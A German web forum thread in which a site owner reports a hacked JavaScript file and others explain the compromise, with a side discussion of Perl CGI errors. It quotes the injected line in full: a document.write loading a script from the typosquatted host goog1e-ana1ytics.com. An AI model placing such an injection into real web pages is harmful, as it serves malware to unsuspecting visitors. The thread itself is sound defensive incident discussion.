*.js datei gehackt auf dem server?...aber wie?

[rolfi]

Hallo,
ich hab mich immer gefragt wenn ich auf meine domain gegangen bin warum der
browser erstmal wo anders hin telefoniert und zwar immer nach
http://www.goog1e-ana1ytics.com/urchin.js
bis der browser nach einem time out die seite schliesslich anzeigt
Als ich mein javascript ausgeschaltet hab, ging alles sofort.
Da bin ich drauf gekommen dass da was im javascript nicht kusch sein muss.
So und da hatte ich beim durchstöbern gesehen dass da jemand(nicht ich) diese zeile
document.write("<script src=http://www.goog1e-ana1ytics.com/urchin.js></script>");
in eine *.js datei geschrieben hat und ziehmlich am anfang.
Die menuebar wurde desshalb auch nicht mehr korrekt angezeigt.

Die zeile sollte so aussehen:
if (document.all)    {n=0;ie=1;ns6=0;fShow="visible";fHide="hidden";}
if (document.getElementById&&!document.all)    {n=0;ie=0;ns6=1;fShow="visible";fHide="hidden";}
if (document.layers) {n=1;ie=0;ns6=0;fShow="show";fHide="hide";}

opr6=window.opera?1:0;

sah aber so aus:
if (document.all)    {n=0;ie=1;ns6=0;fShow="visible";fHide="hidden";}
if (document.getElementById&&!document.all)    {n=0;ie=0;ns6=1;fShow="visible";fHide="hidden";}
if (document.layers) {n=1;ie=0;ns6=0;fShow="show";fHide="hide";}
document.write("<script src=http://www.goog1e-ana1ytics.com/urchin.js></script>");
opr6=window.opera?1:0;

Das andere ist alles noch da und nicht verändert.
Frag mich jetzt aber schon was das für einen zweck gehabt hat
Ist das ein ehemaliger link zu einem virus gewesen?
Und wie hat er das geschafft das script zu ändern?
Die rechte für das script sind 644 also eigentlich nicht beschreibbar für andere ausserhalb.
Und normalerweise hab nur ich zugriff auf das ftp bzw den server.
Es ist leider schon länger her am 27.12.2007 wo diese datei verändert wurde,
daher kann ich den verursacher nicht ausfindig machen.
MfG
rolfi

[Harlequin]

Yerf!

Ist das ein ehemaliger link zu einem virus gewesen?

vermutlich

Und wie hat er das geschafft das script zu ändern?

Laufen auf dem Server irgendwelche Scripte (Gästebuch, CMS oder ähnliches)?

Und normalerweise hab nur ich zugriff auf das ftp bzw den server.

Evtl. hat er auch dein FTP-Passwort erraten.

Gruß,

Harlequin

[rolfi]

Hi,

Yerf!

Ist das ein ehemaliger link zu einem virus gewesen?

vermutlich

ich vermute mal es sollte
document.write("<script src=http://www.google-analytics.com/urchin.js></script>");
heissen und das sollte vermutlich was analisieren?
Nur wie gesagt diese zeile hab ich bestimmt nicht reingeschrieben.
Da
http://www.google.com/analytics/
wird mehr darüber geschrieben.

Und wie hat er das geschafft das script zu ändern?

Laufen auf dem Server irgendwelche Scripte (Gästebuch, CMS oder ähnliches)?

ja ein paar perl scripte im cgi-bin bereich und nur da.
Aber mit einem perl script eine *.js datei umschreiben und nur eine zeile
mitten drinn?
Naja ich weiss nicht!Ich wars nicht!

Und normalerweise hab nur ich zugriff auf das ftp bzw den server.

Evtl. hat er auch dein FTP-Passwort erraten.

ja aber wenn er das geschafft hätte, dann hätte er ja viel mehr machen können bzw kapputt machen können.

MfG
Rolfi

P.S. @Beat, bei dir verstehe ich nur barhof...sorry

[Harlequin]

Yerf!

ich vermute mal es sollte
document.write("<script src=http://www.google-analytics.com/urchin.js></script>");
heissen und das sollte vermutlich was analisieren?

Nein. Es soll nur so ähnlich aussehen, damit man es für harmlos hält...

Da
http://www.google.com/analytics/
wird mehr darüber geschrieben.

Das hat nichts damit zu tun.

ja ein paar perl scripte im cgi-bin bereich und nur da.
Aber mit einem perl script eine *.js datei umschreiben und nur eine zeile
mitten drinn?

Es gab und gibt genug Skripte mit Programmfehlern, die solche Sachen ermöglichen... (Das ist auch im Prinzip das was Beat meint, Google einfach mal nach XSS)

Naja ich weiss nicht!Ich wars nicht!

Dann ermöglicht irgendetwas auf deinem Server Fremden entsprechende Zugriffsmöglichkeiten.

ja aber wenn er das geschafft hätte, dann hätte er ja viel mehr machen können bzw kapputt machen können.

Wieso kaputtmachen? Unauffällig Malware an ahnungslose Seitenbesucher zu verteilen ist doch viel Gewinnbringender...

Gruß,

Harlequin

[rolfi]

hi,

Es gab und gibt genug Skripte mit Programmfehlern, die solche Sachen ermöglichen... (Das ist auch im Prinzip das was Beat meint, Google einfach mal nach XSS)

aber die scripte sollten sicher sein.
Nun gut jetzt hab ich die *.js dateien auf das attribut 444 nur lesen für alle gesetzt und wenn der jetzt noch was umschreiben kann, dann nur noch wenn er direkten zugriff hat via ftp, denk ich mal.

Wieso kaputtmachen? Unauffällig Malware an ahnungslose Seitenbesucher zu verteilen ist doch viel Gewinnbringender...

ja gewinnbringer wäre möglich, denn ich hab vermutlich dadurch eine einbusse gehabt. Weil wer wartet schon gerne jedesmal auf den time out, wenn er die seite wechselt?
Ich kann mich an einen erinnern, der versuchte mein loginscript mit einem
hackerprogramm nach passwörter abzugrasen, was auch gut funktionierte, nur die vielen emails, die mich warnten störten mich, so hab ich das script abgeändert auf keine funktion, wenn er pro sekunde mehrmals zugreift mit falschen login daten.Das war aber eine andere domain.
Nun ja dann schauen wir mal was die zukunft bringt.
MfG

[Beat]

aber die scripte sollten sicher sein.

In deiner Aussage schwebt eine Unsicherheit.
Bist du sicher, dass sie sicher sind?
Würdest du sie offen legen im Quellcode, uns eine Webapplikation nennen, wo wir sie ausführen dürfen, um es zu testen auf Teufel komm raus?

<zitat Selfhtml Kommentarprüfung>
Fehler
Das Format Ihres Postings scheint unsauber zu sein (z. B. keine Zeilenumbrüche, keine Satzzeichen, alles klein geschrieben oder ähnliches). Solche Postings sind ungern gesehen, da sie oft schwer zu lesen sind. Sind Sie sicher, dass Sie so posten möchten?
</zitat>

Wer diese Prüfung verfasst hat, hat definitiv einen Knall.

mfg Beat

[rolfi]

hi Beat,

aber die scripte sollten sicher sein.

In deiner Aussage schwebt eine Unsicherheit.
Bist du sicher, dass sie sicher sind?
Würdest du sie offen legen im Quellcode, uns eine Webapplikation nennen, wo wir sie ausführen dürfen, um es zu testen auf Teufel komm raus?

klar würd ich das, die scripte sind sicher sag ich jetzt mal frech :)
Welches darf es den sein?
Naja das mail script vielleicht, aber eigentlich sonst alle.
Sie liefen auch mit use strict, hab aber den satz rausgenommen, da der server
manchmal vermutlich überfordert war damit und einen sinnlosen error 500 erzeugte, obwohl dies nicht hätte sein sollen.

MfG
rolfi

[Beat]

Sie liefen auch mit use strict, hab aber den satz rausgenommen, da der server
manchmal vermutlich überfordert war damit und einen sinnlosen error 500 erzeugte, obwohl dies nicht hätte sein sollen.

Wenn der Server einen error 500 rausrückt, heisst das, das dein Script wegen Fehler beendet wurde, bevor der Apache die Chance hatte, etwas an den Browser zu senden.
Es ist nicht der Server der scheitert, sondern dein Programm, das der Anforderung von "use strict" nicht genügt, und die Errors wären, falls du das script mit "use warnings" betrieben hättest, auch in die Errorlog geschrieben worden.

Geh dem nach. Aktiviere "use strict" und kontrolliere die Error Hinweise von Perl. Ich hoffe, du weisst, wo du sie findest.

Ich habe jetzt das Subject geändert, weil hier deine Aufgabe steckt.

mfg Beat

[Rolfi]

hi Beat,

Sie liefen auch mit use strict, hab aber den satz rausgenommen, da der server
manchmal vermutlich überfordert war damit und einen sinnlosen error 500 erzeugte, obwohl dies nicht hätte sein sollen.

Wenn der Server einen error 500 rausrückt, heisst das, das dein Script wegen Fehler beendet wurde, bevor der Apache die Chance hatte, etwas an den Browser zu senden.

ja stimmt, aber das problem war eben dass es auch mit use strict funktionierte
und der server mal beliebig error meldete und dann wieder nicht.
Und wenn im error log steht "header error" (oder so ähnlich) dann kann man mit der angabe auch ned viel mehr anfangen.
So hab ich eben das use strict rausgenommen.

Es ist nicht der Server der scheitert, sondern dein Programm, das der Anforderung von "use strict" nicht genügt, und die Errors wären, falls du das script mit "use warnings" betrieben hättest, auch in die Errorlog geschrieben worden.

ja hab ich.

Geh dem nach. Aktiviere "use strict" und kontrolliere die Error Hinweise von Perl. Ich hoffe, du weisst, wo du sie findest.

ja im error log, aber wie gesagt ist es eher ein problem des providers, der
vermutlich sich weniger auskennt mit dem server selbst, wo ich kein zugriff drauf habe.
Der server wurde schon mehrmals attakiert, wie er mir mitteilte und bestimmte funktionen am server verändert, um die sicherheit zu erhöhen z.B.
perl scripte können nur auf andere ordner zugreifen, wenn der ordner das attribut 777 hat, ansonsten quittiert der server mit einem 500 error.
Die scripte funktionieren soweit jetzt gut.
Nun, die *.js dateien hab ich jetzt auf attribut 444 (vorher 644) gesetzt, sodass eben nur gelesen wird und selbst ein perl script solche dateien nicht umschreiben kann.
Wenn es dennoch geschieht, dann muss der verursacher zugriff auf den server oder ftp zugriff auf meinen host haben.
Werde jetzt auch das passwort ändern für ftp
MfG
rolfi

[Beat]

Wenn der Server einen error 500 rausrückt, heisst das, das dein Script wegen Fehler beendet wurde, bevor der Apache die Chance hatte, etwas an den Browser zu senden.

ja stimmt, aber das problem war eben dass es auch mit use strict funktionierte

und der server mal beliebig error meldete und dann wieder nicht.
Und wenn im error log steht "header error" (oder so ähnlich) dann kann man mit der angabe auch ned viel mehr anfangen.
So hab ich eben das use strict rausgenommen.

In diesem Forum sind einige, die mit Header-Error Messages Bescheid wissen.
Nur weil du einen Error nicht interpretieren kannst, solltest du "use strict" nicht entfernen.

Im Beitrag:
https://forum.selfhtml.org/?t=171665&m=1124444
zeige ich, wie man Perl Errormessages in ein eigenes File umleitet.
Dadurch lassen sich Server Error und Perl Error Meldungen klar unterschieden.

mfg Beat

[rolfi]

hi Beat,

In diesem Forum sind einige, die mit Header-Error Messages Bescheid wissen.
Nur weil du einen Error nicht interpretieren kannst, solltest du "use strict" nicht entfernen.

Ich weiss jetzt nicht, was man an einem simplen header error falsch interpretieren könnte?
Also ich benutzte ja auch das CGI modul und wenn der header dann fehlschlägt, ist es ja dann eigentlich das modul das dem server probleme bereitet.
Und wenn der server mal den header ausgibt an den browser und manchmal nicht(ganz nach seiner laune), weil er error 500 ausgibt, dann liegts meiner ansicht nach am server und nicht an meinem script.
Ich hab mir auch schon überlegt einfach nur das alte prinzip anzuwenden,
indem ich eben
print "Content-type: text/html\n\n";
schreibe anstatt das CGI modul zu verwenden.
BsP.:
#!/usr/bin/perl -w
use CGI qw(-private_tempfiles);
my $q = new CGI;
use File::Basename;
use strict;
my($bytesread,$sum,$buffer) = undef;
print $q->header;

Das CGI modul schreibt soviel ich weiss zudem auch keinen validen html text
für den modernen browser.

Im Beitrag:
https://forum.selfhtml.org/?t=171665&m=1124444
zeige ich, wie man Perl Errormessages in ein eigenes File umleitet.
Dadurch lassen sich Server Error und Perl Error Meldungen klar unterschieden.

Hmm, versteh ich jetzt nicht ganz, was Du da meinst.
MfG
Rolfi

[Struppi]

Ich weiss jetzt nicht, was man an einem simplen header error falsch interpretieren könnte?
Also ich benutzte ja auch das CGI modul und wenn der header dann fehlschlägt, ist es ja dann eigentlich das modul das dem server probleme bereitet.

Ein Modul bereitet niemals dem Server Probleme, die zwei haben nichts miteinander zu tun. Wenn bei dir sporadisch diese Fehlermeldung auftaucht, kann das an allem möglichen liegen, aber mit 99% Sicherheit nicht am CGI Modul.

Und wenn der server mal den header ausgibt an den browser und manchmal nicht(ganz nach seiner laune), weil er error 500 ausgibt, dann liegts meiner ansicht nach am server und nicht an meinem script.

Das ist wiederrum Quatsch, ein 500'er Fehler sagt im Prinzip nur aus, das dein Skript kein gültige Antwort sendet, woran das liegt, kann dir aber keiner beantworten der nicht dein Skript kennt.

print "Content-type: text/html\n\n";
schreibe anstatt das CGI modul zu verwenden.

Das ist wirklich old school, du könntest auch dein CGI Skript in Assembler programmieren, was ungefähr auf das selbe rausläuft. Module gehören zur Grundaustattung von Perl ohne ist es kaum mehr als ein Kommandozeileninterpreter (Naja, ein bisschen übertrieben musss man manchmal)

BsP.:
#!/usr/bin/perl -w
use CGI qw(-private_tempfiles);

Wenn du hier noch ein:
use CGI::Carp qw(fatalsToBrowser);
einbaust, könntest du auch die wirklichne Fehlermeldungen von Perl sehen.

Das CGI modul schreibt soviel ich weiss zudem auch keinen validen html text
für den modernen browser.

Stimmt, das war ca. 1999 so, aber seitdem sind einige Jahre vergangen.

Hmm, versteh ich jetzt nicht ganz, was Du da meinst.

Beat schlägt vor, dass du dir die Fehlermeldungen nicht anzeigen, sondern in ein Logfile schreiben läßt.

Struppi.

[Sven Rautenberg]

Moin!

Nun, die *.js dateien hab ich jetzt auf attribut 444 (vorher 644) gesetzt, sodass eben nur gelesen wird und selbst ein perl script solche dateien nicht umschreiben kann.

Das halte ich allerdings für sinnlosen Aktionismus.

Dateien mit den Rechten 644 können nur vom Dateibesitzer beschrieben werden. Und auch nur der Dateibesiter kann die Rechte ändern.

Könnte also ein Angreifer eine Datei mit 644 beschreiben, muss er auf dem System zum Dateibesitzer geworden sein. Wenn er das aber ist, kann er auch problemlos aus 444 wieder 644 machen.

- Sven Rautenberg

[rolfi]

hi,

Nun, die *.js dateien hab ich jetzt auf attribut 444 (vorher 644) gesetzt, sodass eben nur gelesen wird und selbst ein perl script solche dateien nicht umschreiben kann.

Das halte ich allerdings für sinnlosen Aktionismus.

Dateien mit den Rechten 644 können nur vom Dateibesitzer beschrieben werden. Und auch nur der Dateibesiter kann die Rechte ändern.

Könnte also ein Angreifer eine Datei mit 644 beschreiben, muss er auf dem System zum Dateibesitzer geworden sein. Wenn er das aber ist, kann er auch problemlos aus 444 wieder 644 machen.

ja, aber er könnte das auch mit einem perl script, das auf dem server liegt  machen - theoretisch, was ebenfalls dateibesitzerrechte besitzt.
Mit dem 444 attribut müsste er erstmal die rechte auf 644 ändern, ehe er eine datei verändern oder überschreiben kann, was meiner ansicht nach schwieriger wäre-von ausserhalb ein script manipulieren.
Wenn er aber vollen zugriff hat via ftp z.B., dann nützt das auch nichts, eine datei auf das attribut 444 zu setzten, nur dann hab ich gewissheit, woran ich dann liege.
MfG

[Harlequin]

Yerf!

aber die scripte sollten sicher sein.

Sollten heist nicht müssen... jeder macht mal Fehler, auch die Programmierer großer und bekannter Syteme... Schau einfach mal auf www.heise.de, was da immer wieder mal an Meldungen wegen unsicherer CMS oder anderer Scripte auftaucht (es gibt sicher noch bessere Adressen um das zu prüfen).

Nun gut jetzt hab ich die *.js dateien auf das attribut 444 nur lesen für alle gesetzt und wenn der jetzt noch was umschreiben kann, dann nur noch wenn er direkten zugriff hat via ftp, denk ich mal.

Sollte eigentlich... (bin aber auf dem Gebiet kein Spezialist)

Wieso kaputtmachen? Unauffällig Malware an ahnungslose Seitenbesucher zu verteilen ist doch viel Gewinnbringender...

ja gewinnbringer wäre möglich, denn ich hab vermutlich dadurch eine einbusse gehabt. Weil wer wartet schon gerne jedesmal auf den time out, wenn er die seite wechselt?

Nicht deine Einbuse, sondern die Rechner der Besucher als neues Mitglied in einem Botnetz... der Hauptgrund für Viren/Würmer in der letzten Zeit ist um die Rechner für eigene Zwecke zu misbrauchen. z.B. für Spam-Versand oder DDoS-Attacken auf Server.

Nun ja dann schauen wir mal was die zukunft bringt.

Auf jeden Fall vorsichtig bleiben im... im Netz ist genausoviel Gesocks unterwegs wie im realen Leben... nur haben die dort viel mehr Bewegungsspielraum :-(

Gruß,

Harlequin

[Cybaer]

Hi,

aber die scripte sollten sicher sein.

Coole Aussage - *nachdem* man darauf hingewiesen wurde, daß man gehackt wurde, ohne es selbst zu merken oder zu verstehen.

Nun gut jetzt hab ich die *.js dateien auf das attribut 444 nur lesen für alle gesetzt und wenn der jetzt noch was umschreiben kann, dann nur noch wenn er direkten zugriff hat via ftp, denk ich mal.

Und Du bist hoffentlich (jetzt) *sicher*, daß z.B. in den Server-Scripts oder in den Grafikdateien keine weitere Schadroutine oder gar eine Backdoor installiert wurde?

ja gewinnbringer wäre möglich, denn ich hab vermutlich dadurch eine einbusse gehabt.

Du hast dich als Verbreiter von Schadcode betätigt, und bedauerst deine Einbußen?

Ich bedaure deine Besucher!

Weil wer wartet schon gerne jedesmal auf den time out, wenn er die seite wechselt?

Sei froh um den Timeout. Man hätte (s.o.) auch noch unauffälliger vorgehen können.

Gruß, Cybaer

[rolfi]

hi,

aber die scripte sollten sicher sein.

Coole Aussage - *nachdem* man darauf hingewiesen wurde, daß man gehackt wurde, ohne es selbst zu merken oder zu verstehen.

Nun, ich wurde nicht darauf hingewiesen, ich habs selbst gemerkt ;)
Ich weiss nur das der server mal gehackt wurde von einem aus kasachistan
laut meinem provider, hat er an einem unsicherem CGI script(nicht an meinen) rum gehackt und hat wohl was rausgefunden.

Nun gut jetzt hab ich die *.js dateien auf das attribut 444 nur lesen für alle gesetzt und wenn der jetzt noch was umschreiben kann, dann nur noch wenn er direkten zugriff hat via ftp, denk ich mal.

Und Du bist hoffentlich (jetzt) *sicher*, daß z.B. in den Server-Scripts oder in den Grafikdateien keine weitere Schadroutine oder gar eine Backdoor installiert wurde?

weisst Du, nur der Tod ist sicher, desshalb das "sollte" oben.

ja gewinnbringer wäre möglich, denn ich hab vermutlich dadurch eine einbusse gehabt.

Du hast dich als Verbreiter von Schadcode betätigt, und bedauerst deine Einbußen?

Ich bedaure deine Besucher!

ich auch, aber wenn man dafür nichts kann, kann man auch sich bedauern oder? ;)

Weil wer wartet schon gerne jedesmal auf den time out, wenn er die seite wechselt?

Sei froh um den Timeout. Man hätte (s.o.) auch noch unauffälliger vorgehen können.

ja schon, und wenn mein onkel keinen Schw... hätte dann wär er auch meine Tante ... in diesem sinne
MfG
rolfi

[Cybaer]

Hi,

Und Du bist hoffentlich (jetzt) *sicher*, daß z.B. in den Server-Scripts oder in den Grafikdateien keine weitere Schadroutine oder gar eine Backdoor installiert wurde?
weisst Du, nur der Tod ist sicher, desshalb das "sollte" oben.

"Sollte" ist IMHO sehr schlecht.

Außer vielleicht: Du *solltest* (;-)) sämtliche Scripts, Grafiken, etc. auf dem Server durch die Dateien aus deinem lokalen Backup ersetzen.

ich auch, aber wenn man dafür nichts kann, kann man auch sich bedauern oder? ;)

Wie sagte der Hehler? *Ich* habe doch niemanden beklaut! =;->

Gruß, Cybaer

[Cybaer]

Außer vielleicht: Du *solltest* (;-)) sämtliche Scripts, Grafiken, etc. auf dem Server durch die Dateien aus deinem lokalen Backup ersetzen.

Wobei "Backup" wohl zu irreführend ist. Gemeint sind die "Originaldateien".

Gruß, Cybaer

[rolfi]

hi,

Außer vielleicht: Du *solltest* (;-)) sämtliche Scripts, Grafiken, etc. auf dem Server durch die Dateien aus deinem lokalen Backup ersetzen.

Wobei "Backup" wohl zu irreführend ist. Gemeint sind die "Originaldateien".

ja, daran arbeite ich und nun "sollte" ;) alles wieder nach plan laufen.
MfG

[Cybaer]

Hi,

ich vermute mal es sollte
document.write("<script src=http://www.google-analytics.com/urchin.js></script>");
heissen und das sollte vermutlich was analisieren?

Ganz bestimmt nicht!

Da
http://www.google.com/analytics/
wird mehr darüber geschrieben.

Ganz bestimmt auch nicht!

ja aber wenn er das geschafft hätte, dann hätte er ja viel mehr machen können bzw kapputt machen können.

Da hat jemand eine Domain angemeldet, um darauf eine Schadroutine zu plazieren. Soweit, so üblich. In diesem Fall hat der pöse Pube einen URL gewählt, der, je nach verwendetem Zeichensatz, einem sehr verbreiteten URL *sehr* ähnlich sieht.

Solange der Hacker-Server erreichbar war, solange wurde beim Aufruf deiner Seite versucht, Schadcode auf dem Client des ahnungslosen Surfers zu installieren. Jetzt wo der Hacker-Server vom Netz genommen wurde, warten die gehackten Sites auf den Timeout.

"kapputt" machen wollte der Hacker sonst nichts. Er hatte es ja sehr darauf angelegt, *nicht* sofort entdeckt zu werden ...

Gruß, Cybaer

[Beat]

Dein Server ist anfällig für XSS Atacken. Behebe es.

und nein... Dein Scriptlink hat nichts mit google anal-fixierten Instrumenten zu tun.

mfg Beat

[cygnus]

http://www.goog1e-ana1ytics.com/urchin.js

---

Ich studiere gerade mein von Zonealarm angelegtes Protokoll, weil mir diese Adresse so bekannt vorkommt.
Diese Adresse tauchte am 28. April d. J. im Protokoll auf, und zwar im Zusammenhang mit dem Gebrauch des FTP-Servers (FileZilla).
Damals wurde als Ziel-DNS angegeben www-google-analytics.l.google
Ich habe mir dann die Seite www.www-google-analytics.com angesehen, bin bis heute aber ratlos, was mein FTP-Server an dem Tag dort zu suchen hatte.

[Beat]

http://www.goog1e-ana1ytics.com/urchin.js

Ich studiere gerade mein von Zonealarm angelegtes Protokoll, weil mir diese Adresse so bekannt vorkommt.
Diese Adresse tauchte am 28. April d. J. im Protokoll auf, und zwar im Zusammenhang mit dem Gebrauch des FTP-Servers (FileZilla).

FileZilla ist meines Wissens kein Server sondern ein FTP-Agent.

Es ist nicht auszuschliessen, dass eine Software diese Namens als Server auf einem gehackten System operiert.

Damals wurde als Ziel-DNS angegeben www-google-analytics.l.google

Was nichts zu tun hat mit der hier diskutierten Adresse:
goog(eins)e-ana(eins)ytics

mfg Beat

[cygnus]

Was nichts zu tun hat mit der hier diskutierten Adresse:
goog(eins)e-ana(eins)ytics

mfg Beat

Pardon, ja jetzt mit Brille sehe ich es auch.